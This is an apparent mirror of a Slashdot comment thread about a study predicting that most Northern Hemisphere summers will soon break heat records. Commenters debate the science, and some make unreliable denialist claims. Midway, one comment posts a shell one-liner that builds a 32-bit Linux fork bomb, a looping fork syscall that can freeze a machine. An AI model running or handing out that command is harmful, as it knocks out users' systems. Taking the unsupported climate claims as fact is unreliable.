Slashdot Mirror
Every Other Summer Will Shatter Heat Records Within a Decade (vice.com)
An anonymous reader quotes a report from Motherboard: Think of the stickiest, record-hot summer you've ever experienced, whether you're 30 or 60 years old. In 10 years or less, that miserable summer will happen every second year across most of the U.S. and Canada, the Mediterranean, and much of Asia, according to a study to be published in the open access journal Earth's Future. By the 2030s, every second summer over almost all of the entire Northern hemisphere will be hotter than any record-setting hot summer of the past 40 years, the study found. By 2050, virtually every summer will be hotter than anything we've experienced to date. Record hot summers are now 70 times more likely than they were in the past 40 years over the entire Northern hemisphere, the peer-reviewed study found. What does all this mean? Heat alerts will be increasing, cities will have to employ aggressive cooling strategies most summers, and in places like South Asia, it will be too dangerous to work outside, Francis Zwiers, director of the Pacific Climate Impacts Consortium at Canada's University of Victoria, said.
OK. You bring the ice.
It's too hot. Think I'll stay inside under the AC.
So what you are saying is that the temperature history will be adjusted downward every other year instead of waiting for a ten year decline to adjust the temperautre history?
Those are testable predictions.
If we do *not* get the results predicted by the study above, would that invalidate the theory of global warming?
If not, what testable predictions does the global warming theory make, whose failure *would* invalidate the theory?
To be fair, just because they were wrong before doesn't mean they're wrong again.
Methane has a grater impact on greenhouse effect than CO2, and ice-trapped methane will be released because of ocean warming, thus increasing greenhouse effect and climate warming again.
The best scenario would be to avoid ocean warming so that methane stays trapped, but if it is to be released, perhaps it is better to burn it.
George Soros funded and covered by VICE ? BLAHAHAHAHAHAH
Skorchio.
Requiem for the American Dream
It is happening. Last 3 summers have been the hottest on record: https://phys.org/news/2017-09-earth-sweltered-3rd-hottest-august.html
Of course it's wrong, just another attack on fossil fuels and hard working Americans(tm)!
Please excuse me while I increase my investments in renewable energy (esp. solar). I'm just hedging my bets, ya know.
Heard this twenty years ago...
No you didn't, at least not from any reputable source. What you heard from those was the global temperatures would continue to rise. This is a novel claim, namely that increases will be felt from year to year over "most of the U.S. and Canada, the Mediterranean, and much of Asia."
What was predicted 20 years ago?! Really?
Hottest year on record: 2016; 2nd hottest year on record: 2015; 3rd hottest year on record: 2014; 4th hottest year on record: 2010; 5th hottest year on record: 2013; 6th hottest year on record: 2005; 7th hottest year on record: 2009; 8th hottest year on record: 1998; 9th hottest year on record: 2012; and for the 10th we have a draw between, 2003, 2006 & 2007.
AC typically has the capability to cool about 30F-40F. Guess what happens once heat waves get too hot? Everyone has to buy special industrial air conditioners that use even more power, lol.
But I think they're going to struggle with this one.
https://www.reddit.com/r/datai...
Bigger Buds! There's really just as much positive as negative to global warming. Some people say the glass is half empty and some say it's half full. Some people just like to complain.
At first glance I thought it was something about Will Shatner.
You are not required to become excited at every piece of news. Enjoy your relaxation. While you're relaxing, you should focus on the predictions that have been accurate. I can make up 2000 predictions in the next 20 minutes which won't be accurate and they in no way invalidate the ones which were accurate.
But I'm not gonna become a canadian, dammit!!!!
Instead of "I believe this person or set of data", what is your experience?
I live in the southeast part of the San Francisco Bay area. Last summer (a few months ago), it got up to 108 degrees one day. It's never been that hot since I moved here in 1989. Also last summer we had more hot days that usual.
I don't know if the temperatures have been gradually increasing here, but last summer was a record breaker for me.
What's everyone else's experience?
with the new DE Gavita or Agrolux systems or FLuence/BC Blondes LED you don't need sunlight to get crazy looking caked weed.
by TheSpoom (715771) Uncaring Linux user here. I have nothing to add to this but please continue. *munches popcorn*
Or a ground source heat pump.
Woosh? Maybe? I think the parent poster meant Anonymous Coward as a pun - since their comment is under the AC. If not, I bet they wish they did.
Does that mean DC will be buried under ice for the next ten thousand years? Because that sounds like a fantastic trade-off. Though when a long future generation thaws DC out and talks to Nancy Pelosi, theyâ(TM)ll say, âoeBring more ice!â
And the current year, 2017 is set up to be the 2nd or 3rd hottest year on record despite no El Nino.
And this is wrong. The conclusion is that the CURRENT record summer will become the norm within 20 years. It does not mean that within 20 years, every other summer will become hotter than the last, but rather that there is 50% chance that temperatures will reach the current record of the last 40 years or so. The likelihood that every other summer would break records is obviously very low.
AGW assumes that Earth's climate is primarily feedback driven.
The feedbacks make perfect sense. Higher temperature causes water to evaporate, that water vapor acts as a greenhouse gas. Ice melts, there is less albedo to reflect sunlight back into space...
What doesn't make sense, and what has never made sense, is why Earth's climate didn't hit a "tipping point" at some point in the past, that sent the climate in one direction or the other, permanently.
How would a massive impact from a space rock, or the collision/separation of the continents, or even a supervolcanic eruption not cause a "runaway" feedback effect?
The only reasonable conclusion, so far as I can tell, is that Earth's climate is primarily homeostatic.
1btu=1055J
1btu(per hour)= 0.2931watts=1055J/3600sec
I think Th on a home ac is around 350, and as long as it's cooler than that outside it will blow 285 inside. Efficiency goes down and more energy is required as Th->Tamb
Interesting that they leave Northern Europe out of the list. The hottest summer on record in UK was in 1976, which is also conveniently outside the 40 year window _right now_, let alone in a decade's time. 1991 was a good hot summer but again that's outside when they will be doing their trend calculations. More recent summers haven't come close to 1976. Even last year's temperatures weren't as high and in no way did they last as long.
If summers are getting consistently hotter, we would have hosepipe bans, but we haven't had one for over half a decade. The water companies are just as rubbish as they were back in the 2000s, so it isn't that somehow the water table is capable of maintaining its current level.
So this is saying some regions will be hotter, so long as those regions are narrowly defined and the data range is restricted in order to prove the hypothesis.
"Wait. Something's happening. It's opening up! My God, it's full of apricots!"
Heating is much more energy intensive than cooling
Found the Republican!
I have seen predictions that in the second half of the century the grain belt will move from USA and Europe to Canada and Russia. That could make things very interesting as countries try to gain food security.
Where are my mod points when I need them ...
I've heard about this a long time ago (feels more than 20 years) and the only thing that I could say against, is that the raise was slower than I expected (I think I was a kid at the time, and it was on the TV/FUD news machine, so there is that).
Irrelevant news and morons using moderation to mod down what they disagree on. 2018 resolution: so long.
Not being an expert in this area I do find it puzzling. The Australian article was paywalled, but reading the other two did not set off any "troll" bells in my head. I don't know if they're completely *correct*, but they do seem like honest bits of research and at the very least, worthy of a rebuttal instead of a down vote. If I had mod points, I'd pop them back up. Alas I do not.
Yeah .... record temperatures .... but only if you ignore the fact that they are not enven in the top 10 of the recorded history and not even in the top 50 of the geologically calculated temperatures.
But hell. Why should I believed recorded fact against a political agenda?
Careful! The HuffPo will denounce you as un unpatriotic heathen if you say that the chances are less than 98% because 'that's what the numbers say".
https://www.huffingtonpost.com...
During the 2012 election, Republicans who hated the daily onslaught of polling showing that Mitt Romney was headed toward a comfortable defeat turned to Dean Chambers, the man who launched the website Unskewed Polls. The poll numbers were wrong, he said, and by tweaking a few things, he could give a more accurate count. His final projection had Romney winning close to all 50 states.
Chambers has wisely abandoned the field of election forecasting, and this year says he thinks the various models predicting a Hillary Clinton victory are probably accurate. The models themselves are pretty confident. HuffPost Pollster is giving Clinton a 98 percent chance of winning, and The New York Times' model at The Upshot puts her chances at 85 percent.
There is one outlier, however, that is causing waves of panic among Democrats around the country, and injecting Trump backers with the hope that their guy might pull this thing off after all. Nate Silver's 538 model is giving Donald Trump a heart-stopping 35 percent chance of winning as of this weekend.
He ratcheted the panic up to 11 on Friday with his latest forecast, tweeting out, "Trump is about 3 points behind Clinton â and 3-point polling errors happen pretty often."
So who's right?
The beauty here is that we won't have to wait long to find out. But let's lay out now why we think we're right and 538 is wrong. Or, at least, why they're doing it wrong.
The short version is that Silver is changing the results of polls to fit where he thinks the polls truly are, rather than simply entering the poll numbers into his model and crunching them.
Silver calls this unskewing a "trend line adjustment." He compares a poll to previous polls conducted by the same polling firm, makes a series of assumptions, runs a regression analysis, and gets a new poll number. That's the number he sticks in his model â not the original number.
He may end up being right, but he's just guessing. A "trend line adjustment" is merely political punditry dressed up as sophisticated mathematical modeling.
Guess who benefits from the unskewing?
By the time he's done adjusting the "trend line," Clinton has lost 0.2 points and Trump has gained 1.7 points. An adjustment of below 2 points may not seem like much, but it's enough to throw off his entire forecast, taking a comfortable 4.6 point Clinton lead and making it look like a nail-biter.
It's enough to close the gap between the two candidates to below 3 points, which allows Silver to say that it's now anybody's ballgame, because "3-point polling errors happen pretty often."
That line in itself is disingenuous, though. For the polls to be wrong, there wouldn't need to be one single 3-point error. All of the polls â all of them, as Brianna Keilar would put it â would have to be off by 3 points in the same direction. That's happened before, but in 2012 the error favored President Barack Obama. In 2014, it favored Republicans. Errors are just as likely to favor Clinton as they are to favor Trump, and they would have to favor Trump. And we still haven't accounted for the unique fact that one campaign has a get-out-the-vote operation, while the other doesn't.
By monkeying around with the numbers like this, Silver is making a mockery of the very forecasting industry that he popularized. "The idea that she's a prohibitive, 95 percent-plus favorite is hard to square with polling that has frequently shown 5- or 6-point swings within the span of a couple weeks, given that she only leads by 3 points or so now," he told Politico recently. "[E]verything depends on one's assumptions, but I think that our assumptions â a Clinton lead, sure, but high uncertainty
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Wrong, stated, old style air-conditioning could cool you 30 to 40 degrees f. Not the new stuff. The new stuff is not as effective as the old. Maybe that's why it was outlawed.
He was trying to say Maunder Minimum, but we have no way of telling what the trough or peak of a solar cycle (other than the short-term 11-year cycle) will be. That's why we can only assign names to them long after the fact.
That's it. my dream will be implemented!
No you didn't, at least not from any reputable source.
Wrong: https://clintonwhitehouse3.arc...
I was under the impression that it was traditional when providing a link to support a claim, that you choose one that actually supports your claim.
Of course he was modded troll, because he is lying. Yes, there is some data homogenization to account for differences in the accuracy of historical data. You can question that practice if you wish, but the un-homogenized data actually shows a larger warming trend. https://www.skepticalscience.c...
Well hello Mr. Denialist!
The predictions from the IPCC have basically come true. It's hypocritical to dismiss the field of climate change based on whacky popular press stuff and still actually be using a computer given the completely dumbass shit the popular press has said about computers over the years.
SJW n. One who posts facts.
Next year. Last year was an El Nino year; this is a La Nina year. And the solar cycle is becoming longer and flatter than any time in the past century, so I'm expecting COOLING trends for the next 30 years or so.
I love the idea put forth by people on the internet that some shit they read on some random blog is THE TRUTH and those stupid silly scientists haven't realised things like, oh, the sun existing or some shit.
Yeah, climate scientists know about El Nino and La Nina and oddly enough they know about the sun and solar cycles too. You do not have access to magical facts that scientists don't know that will somehow make you correct. And when your predicted falling trend fails to materialise, you will find another way to rationalise away global warming.
SJW n. One who posts facts.
Isn't there a La Nina going on though?
Sounds about right, I was around 15 at that time.
Irrelevant news and morons using moderation to mod down what they disagree on. 2018 resolution: so long.
It goes back much further than that. You should look up the predictions from "The Great Horse Manure Crisis of 1894" Where they were predicting that by now we would be 10's of feet deep in horse manure.
The results on that page are strange to me, probably because it's only dealing with homogenization in particular rather than all adjustments, possibly because it's based on a newer version of the GHCN or includes sea measures.
After the original flap about the Darwin station, in which RealClimate accused Watts of cherry picking, and responded by cherry picking themselves. That struck me as flawed, so I calculated the effects of all adjustments for every land station from GHCNv2 (current at the time). There was a nearly linear net warming trend (very small IIRC) in the adjustments starting around 1900, which means the raw data had a smaller warming trend. The
"Pulling together is the aim of despotism and tyranny! Free men pull in all sorts of directions" -- Havelock Vetinari
Yes, and as long as you don't put bodies into the environment that generate heat (like, say, human bodies while alive), you can keep that room at that temperature provided insulation is perfect.
Then again, IF insulation is perfect AND you put bodies producing heat into the environment... well, the second law of thermodynamics tells me that at some point the room will have approximately 37 degrees Celsius.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
There is this problem that people live in areas that will feel the heat (literally so) quite soon. And they will want to go where you are now. With no alternative, get in or die trying.
In other words, you'll soon have to decide whether you want to share or shoot.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Never stopped religious cults from announcing the end of the world, why not learn from the experienced con artists?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
The numbers are bullshit. Over here we learned that years ago, voting for the populist is like jacking off. Everyone does it, nobody admits he does.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Good idea. What are we going to replace the various religions with that keep telling us the end of the world is near (the world ended twice so far this year, but I think there's room for a third coming)?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
That's why they call them "record temperatures." Records happen in the context of "just normal weather." Consider the context:
Looking at the climate record for San Francisco for last summer, we can see that you had a couple of short-duration extreme outlying temperature events. We can also see from the records shown on the graph that these are not without precedent on other days in years past.
Record breaking days happen; you can see that particular event clearly, but you can also see that it was a significant outlier. It would be absurd to take it as indication of a trend — it's not in line with the temperatures anywhere around it.
None of this screams "climate change"; it's just weather. None of it screams "no climate change", either. Same reason. If you want to consider climate, you must go with large amounts of aggregate data.
I've fallen off your lawn, and I can't get up.
Every Other Summer Will Shatter Heat Records Within a Decade
So, what about the summers in between every other summer? Will they shatter records, too, or just average?
Who says gore is trustworthy?
Hotter by 0.02 degrees.. AND THE MARGIN OF ERROR IS 0.1 degrees.
Science! Learn it!
If you were a scientist you'd not be looking at individual temperatures but at trends: http://www.economist.com/node/...
Instead you make some claim of some arbitrary temperature the GP didn't mention (god knows in what relation to, he mentioned 12 different years). By the way the number you're looking for is +2.03 degrees, not 0.02 https://www.ncdc.noaa.gov/sotc...
But the real disappointment is that someone modded you up.
And yet, the average temperature is only scheduled to increase by 4C.
Aah, change is good. -- Rafiki
Yeah, but it ain't easy. -- Simba
Oh Jesus. The first link contained a personal accusation from the author that climate scientists are trying to hide Milankovitch cycles, and you don't think it's trolling?
Fanatically anti-fanatical
The potential perception problem is that there are multiple models that make multiple predictions. The predictions range from very minor changes to great changes.
Those in the future with ill will can pick out the models that got it wrong as "evidence" the science is bogus. Those in the know see through such biased cherry-picking, but the general public wont.
Table-ized A.I.
No, there is right now no La Nina, we are still in the ending of the El Nino. ... we can not predict :D
The next phase will be a "normal phase" and if we get afterwards a La Nina, or another El Nino
Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
The current conditions are borderline La Nina but they haven't lasted long enough to be officially called one yet. La Nina tends to be cooler so if one develops it will be the warmest one ever measured.
Milankovitch cycles have nothing to do with CO2 ... so what is your point?
Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
First of all: this year and probably next year is a "normal year". Neither El Nino, nor La Nina. ... they are not really alternating.
Secondly: all three phases, La Nina, "inbetween" and El Nino last several years. Not a single year.
Thirdly: after an "inbetween" Phase it is completely open if the next phase is an El Nino or an La Nina
Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
I'm willing to bet you haven't looked at a single paper in the climatology field. If you're so certain that the data is wrong, then take the raw information and show us. In fact, here's some links to get you started. https://www.ncdc.noaa.gov/ and for the archives https://www.ncdc.noaa.gov/has/... Here's your chance to get your name in lights! And with the current administration, you'll get so much airtime, you won't know what to do with yourself with all the money climatologists make. :)
"The bass, the rock, the mic, the treble. I like my coffee black, just like my metal" - Mindless Self Indulgence
You'd be surprised. The record for shortest time from start of dry weather to a hosepipe ban being decreed by a water company in UK was _three days_. As I said, we haven't had one for years, mainly because the companies were taken to task after the the day debâcle,, rather than it being due to any increase in rainfall.
The UK has a climate peculiar to it, so peculiar we don't consider we have one, just "weather".
"Wait. Something's happening. It's opening up! My God, it's full of apricots!"
I'm not trying to make La Nina a big deal. If there's a La Nina this year going into next year it will be a weak one. But if you look at long term global temperature records generally the years with El Ninos are the warmest, the years where ENSO is neutral are in the middle and the years with La Ninas are the coldest. That doesn't necessarily mean it always happens that way but that's what usually happens.
When someone is making such an obviously false claim, it's hard to credit it as "honest research".
Fanatically anti-fanatical
Yep, when I look at the solar data, that's what I see too. Another Little Ice Age, probably within our lifetimes.
Not too concerned about futures predicted by models that can't even accurately predict the past, or cries of "record heat" that conveniently omit the 1930s, tho the day will come when a little more warming woulda been nice. I remember the bad winters of the 1960s.
~REZ~ #43301. Who'd fake being me anyway?
2.86 million IS a landslide...unless the microstate Republicans dictate otherwise.
Which claim?
Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.